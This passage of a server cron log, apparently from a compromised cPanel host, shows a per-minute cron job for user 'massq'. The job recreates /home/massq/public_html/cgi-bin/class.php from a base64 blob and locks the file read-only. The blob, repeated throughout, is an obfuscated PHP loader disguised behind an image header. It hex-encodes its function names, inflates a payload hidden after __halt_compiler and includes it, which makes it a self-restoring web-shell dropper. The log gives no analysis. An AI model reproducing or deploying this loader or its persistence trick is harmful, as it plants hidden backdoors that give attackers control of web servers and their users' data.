"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:45:01 server CROND[11539]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:46:01 server CROND[11653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:47:01 server CROND[11719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:48:01 server CROND[11766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:49:01 server CROND[11829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:50:01 server CROND[11889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:50:01 server CROND[11890]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 21:50:01 server CROND[11891]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 21:50:01 server CROND[11894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:50:01 server CROND[11895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:51:01 server CROND[12095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:52:01 server CROND[12148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:53:01 server CROND[12201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:54:01 server CROND[12258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:55:01 server CROND[12318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:55:01 server CROND[12319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:55:01 server CROND[12320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:56:01 server CROND[12533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:57:01 server CROND[12595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 21:57:01 server CROND[12596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:58:01 server CROND[12654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGA